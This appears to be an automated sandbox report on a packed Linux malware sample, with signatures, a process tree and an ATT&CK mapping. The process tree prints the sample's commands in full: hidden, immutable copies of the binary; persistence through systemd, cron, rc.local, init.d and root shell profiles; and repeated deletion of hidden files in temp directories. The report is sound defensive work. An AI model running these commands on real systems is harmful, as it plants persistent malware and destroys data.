Analysis
- max time kernel
32s - max time network
139s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
- submitted
07/11/2026, 12:17
General
- Target x86_64
- Size 49KB
- Sample261107-pgjvmaxw6p
- SHA256 aa423ec2fbdb1835e1ad69c81db4d6c1b710faa27c192ac77e55d4f74a47325d
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 1 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Write file to user bin folder 4 IoCs
- Writes file to system bin folder 8 IoCs
- Modifies Bash startup script 2 TTPs 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 13 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/x86_64/tmp/x86_641⤵
- Enumerates active TCP sockets
- Write file to user bin folder
- Writes file to system bin folder
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"2⤵
-
-
/bin/shsh -c "ulimit -u 50 2>/dev/null"2⤵
-
-
/bin/shsh -c "cp /tmp/x86_64 /var/tmp/.e 2>/dev/null"2⤵
-
/bin/cpcp /tmp/x86_64 /var/tmp/.e3⤵
-
-
-
/bin/shsh -c "cp /tmp/x86_64 /usr/lib/.e 2>/dev/null"2⤵
-
/bin/cpcp /tmp/x86_64 /usr/lib/.e3⤵
-
-
-
/bin/shsh -c "chmod +x /var/tmp/.e /usr/lib/.e 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/bin/chmodchmod +x /var/tmp/.e /usr/lib/.e3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c "chattr +i /var/tmp/.e 2>/dev/null"2⤵
-
/usr/bin/chattrchattr +i /var/tmp/.e3⤵
-
-
-
/bin/shsh -c "chattr +i /usr/lib/.e 2>/dev/null"2⤵
-
/usr/bin/chattrchattr +i /usr/lib/.e3⤵
-
-
-
/bin/shsh -c "printf '[Unit]\\nDescription=System Service\\nAfter=network.target\\n[Service]\\nType=simple\\nExecStart=/var/tmp/.e\\nRestart=on-failure\\nRestartSec=30\\n[Install]\\nWantedBy=multi-user.target\\n' > /etc/systemd/system/.e.service 2>/dev/null"2⤵
- Modifies systemd
- System Network Configuration Discovery
-
-
/bin/shsh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .e 2>/dev/null"2⤵
-
/bin/systemctlsystemctl daemon-reload3⤵
-
-
/snap/bin/systemctlsystemctl daemon-reload3⤵
-
-
/bin/systemctlsystemctl enable .e3⤵
-
-
/snap/bin/systemctlsystemctl enable .e3⤵
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '.e'; echo '* * * * * /var/tmp/.e') | crontab - 2>/dev/null"2⤵
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/bin/grepgrep -v .e3⤵
-
-
-
/bin/shsh -c "grep -q '.e' /etc/crontab 2>/dev/null || echo '* * * * * root /var/tmp/.e' >> /etc/crontab 2>/dev/null"2⤵
-
/bin/grepgrep -q .e /etc/crontab3⤵
-
-
-
/bin/shsh -c "echo '* * * * * root /var/tmp/.e' > /etc/cron.d/.e 2>/dev/null"2⤵
- Creates/modifies Cron job
-
-
/bin/shsh -c "grep -q '.e' /etc/rc.local 2>/dev/null || sed -i '/^exit 0/i /var/tmp/.e &' /etc/rc.local 2>/dev/null"2⤵
-
/bin/grepgrep -q .e /etc/rc.local3⤵
-
-
/bin/sedsed -i "/^exit 0/i /var/tmp/.e &" /etc/rc.local3⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "printf '#!/bin/sh\\n/var/tmp/.e &\\n' > /etc/init.d/.e 2>/dev/null && chmod +x /etc/init.d/.e 2>/dev/null"2⤵
- File and Directory Permissions Modification
- Modifies init.d
-
/bin/chmodchmod +x /etc/init.d/.e3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c "grep -q '.e' /root/.bashrc 2>/dev/null || echo '/var/tmp/.e &' >> /root/.bashrc 2>/dev/null"2⤵
-
/bin/grepgrep -q .e /root/.bashrc3⤵
-
-
-
/bin/shsh -c "grep -q '.e' /root/.profile 2>/dev/null || echo '/var/tmp/.e &' >> /root/.profile 2>/dev/null"2⤵
-
/bin/grepgrep -q .e /root/.profile3⤵
-
-
-
/bin/shsh -c "grep -q '.e' /root/.bash_profile 2>/dev/null || echo '/var/tmp/.e &' >> /root/.bash_profile 2>/dev/null"2⤵
- Creates/modifies environment variables
- Modifies Bash startup script
-
/bin/grepgrep -q .e /root/.bash_profile3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/local/sbin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
/usr/local/bin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
/usr/sbin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
/usr/bin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
/sbin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
/bin/rmrm -rf /tmp/.XIM-unix /tmp/.Test-unix /tmp/.ICE-unix /tmp/.font-unix /tmp/.X11-unix4⤵
-
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- System Network Configuration Discovery
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- Reads runtime system information
- System Network Configuration Discovery
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- System Network Configuration Discovery
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- System Network Configuration Discovery
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name '.*' ! -name '.e' ! -name '.eclipse' ! -name '.u.*' ! -name '.box' -delete 2>/dev/null"2⤵
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type f -name ".*" "!" -name .e "!" -name .eclipse "!" -name ".u.*" "!" -name .box -delete3⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "find /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name '.*' ! -name '.' ! -name '..' ! -name '.eclipse' -exec rm -rf {} + 2>/dev/null"2⤵
- System Network Configuration Discovery
-
/usr/bin/findfind /tmp /var/tmp /dev/shm -maxdepth 1 -type d -name ".*" "!" -name . "!" -name .. "!" -name .eclipse -exec rm -rf "{}" +3⤵
- System Network Configuration Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
3XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
.e
.e
.e.service
.bash_profile
tmp.uWxJde
.e